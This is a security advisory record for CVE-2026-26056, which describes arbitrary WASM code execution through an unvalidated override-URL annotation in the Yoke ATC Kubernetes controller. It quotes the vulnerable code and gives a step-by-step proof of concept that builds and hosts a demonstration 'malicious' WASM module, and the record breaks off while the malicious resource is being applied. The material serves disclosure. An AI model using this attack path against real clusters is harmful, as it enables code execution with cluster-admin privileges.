{"schema_version":"1.7.3","id":"GHSA-wj8p-jj64-h7ff","published":"2026-02-12T22:06:45Z","modified":"2026-02-19T20:41:00.924491Z","aliases":["CVE-2026-26056","GO-2026-4493"],"summary":"Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC","details":"# Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC\n\nThis vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. It allows users with CR create/update permissions to execute arbitrary WASM code in the ATC controller context by injecting a malicious URL through the `overrides.yoke.cd/flight` annotation. The ATC controller downloads and executes the WASM module without proper URL validation, enabling attackers to create arbitrary Kubernetes resources or potentially escalate privileges to cluster-admin level.\n\n**Recommended CWE**: CWE-94 (Improper Control of Generation of Code - Code Injection)\n\n## Summary\n\nYoke ATC allows users to override the Flight WASM module URL via the `overrides.yoke.cd/flight` annotation on Custom Resources. The controller only checks if the user has `update` permission on `airways` resources but does not validate the WASM URL source. An attacker with CR create/update permissions can inject a malicious WASM URL, causing the ATC controller to download and execute arbitrary code.\n\n## Details\n\nThe vulnerability exists in two code paths:\n\n**Source Point - Annotation Definition** (`pkg/flight/flight.go:41-42`):\n```go\nconst (\n AnnotationOverrideFlight = \"overrides.yoke.cd/flight\"\n AnnotationOverrideMode = \"overrides.yoke.cd/mode\"\n)\n```\n\n**Sink Point 1 - Admission Webhook** (`cmd/atc/handler.go:298-300`):\n```go\nif overrideURL, _, _ := unstructured.NestedString(cr.Object, \"metadata\", \"annotations\", flight.AnnotationOverrideFlight); overrideURL != \"\" {\n xhttp.AddRequestAttrs(r.Context(), slog.Group(\"overrides\", \"flight\", overrideURL))\n takeoffParams.Flight.Path = overrideURL // User-provided URL used directly\n}\n```\n\n**Sink Point 2 - Reconciler** (`internal/atc/reconciler_instance.go:264-269`):\n```go\nif overrideURL, _, _ := unstructured.NestedString(resource.Object, \"metadata\", \"annotations\", flight.AnnotationOverrideFlight); overrideURL != \"\" {\n ctrl.Logger(ctx).Warn(\"using override module\", \"url\", overrideURL)\n // Simply set the override URL as the flight path and let yoke load and execute the wasm module\n takeoffParams.Flight.Path = overrideURL // User-provided URL used directly without validation\n}\n```\n\nThe permission check at `cmd/atc/handler.go:160-177` only verifies `update` permission on `airways` resources, not the ability to execute arbitrary WASM code:\n```go\naccessReview, err := params.Client.Clientset.AuthorizationV1().SubjectAccessReviews().Create(\n r.Context(),\n &authorizationv1.SubjectAccessReview{\n Spec: authorizationv1.SubjectAccessReviewSpec{\n ResourceAttributes: &authorizationv1.ResourceAttributes{\n Verb: \"update\",\n Group: \"yoke.cd\",\n Version: \"v1alpha1\",\n Resource: \"airways\", // Only checks airway update permission\n },\n },\n },\n)\n```\n\n## PoC\n\n### Environment Setup\n\n**Prerequisites**:\n- Docker installed and running\n- kubectl installed\n- Go 1.21+ installed\n- kind installed\n\n**Step 1: Create Kind cluster**\n```bash\ncat > /tmp/kind-config.yaml << 'EOF'\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nname: yoke-vuln-test\nnodes:\n- role: control-plane\nEOF\n\nkind create cluster --config /tmp/kind-config.yaml\n```\n\n**Step 2: Build and install Yoke CLI**\n```bash\n# Clone yoke repository\ngit clone https://github.com/yokecd/yoke.git\ncd yoke\n\n# Build yoke CLI (patch version if needed for compatibility)\nGOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke\n\n# Verify installation\n/tmp/yoke version\n```\n\nExpected output:\n```\n╭───────────────────────────────┬──────────╮\n│ yoke │ v0.18.0 │\n│ toolchain │ go1.25.6 │\n│ k8s.io/client-go │ v0.34.1 │\n│ github.com/tetratelabs/wazero │ v1.6.0 │\n╰───────────────────────────────┴──────────╯\n```\n\n**Step 3: Deploy ATC**\n```bash\n/tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest\n```\n\nExpected output:\n```\nCluster-access not granted: enable cluster-access to reuse existing TLS certificates.\nGenerating TLS certificates, this may take a second...\nFinished generating TLS certificates.\n---\nsuccessful takeoff of atc\n```\n\n**Step 4: Verify ATC deployment and permissions**\n```bash\nkubectl get pods -n atc\nkubectl get clusterrolebinding | grep atc\n```\n\nExpected output:\n```\nNAME READY STATUS RESTARTS AGE\natc-atc-6d4bcb7665-wvqkt 1/1 Running 0 22s\n\natc-atc-cluster-role-binding ClusterRole/cluster-admin 22s\n```\n\n**Step 5: Deploy Backend Airway example**\n```bash\n/tmp/yoke takeoff -wait 60s backendairway \"https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz\"\n```\n\nExpected output:\n```\nsuccessful takeoff of backendairway\n```\n\n### Exploitation Steps\n\n**Step 1: Create malicious WASM module**\n\nCreate `malicious-wasm.go`:\n```go\n// Malicious WASM module for VUL-001 vulnerability verification\npackage main\n\nimport (\n \"encoding/json\"\n \"fmt\"\n)\n\nfunc main() {\n // Create a ConfigMap to prove arbitrary code execution\n resource := map[string]interface{}{\n \"apiVersion\": \"v1\",\n \"kind\": \"ConfigMap\",\n \"metadata\": map[string]interface{}{\n \"name\": \"stolen-credentials\",\n \"namespace\": \"default\",\n \"labels\": map[string]string{\n \"vulnerability\": \"VUL-001\",\n \"type\": \"exfiltrated-token\",\n },\n },\n \"data\": map[string]string{\n \"vulnerability\": \"VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution\",\n \"proof\": \"This ConfigMap was created by malicious WASM code\",\n },\n }\n\n resources := []interface{}{resource}\n output, _ := json.Marshal(resources)\n fmt.Println(string(output))\n}\n```\n\nCompile to WASM:\n```bash\nGOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go\n```\n\n**Step 2: Host malicious WASM**\n```bash\npython3 -m http.server 8888 &\n```\n\n**Step 3: Get host IP accessible from Kind cluster**\n```bash\nHOST_IP=$(ip addr show docker0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)\necho \"Malicious WASM URL: http://${HOST_IP}:8888/malicious.wasm\"\n```\n\n**Step 4: Create malicious Backend CR**\n```bash\nMALICIOUS_URL=\"http://${HOST_IP}:8888/malicious.wasm\"\n\nkubectl apply -f - <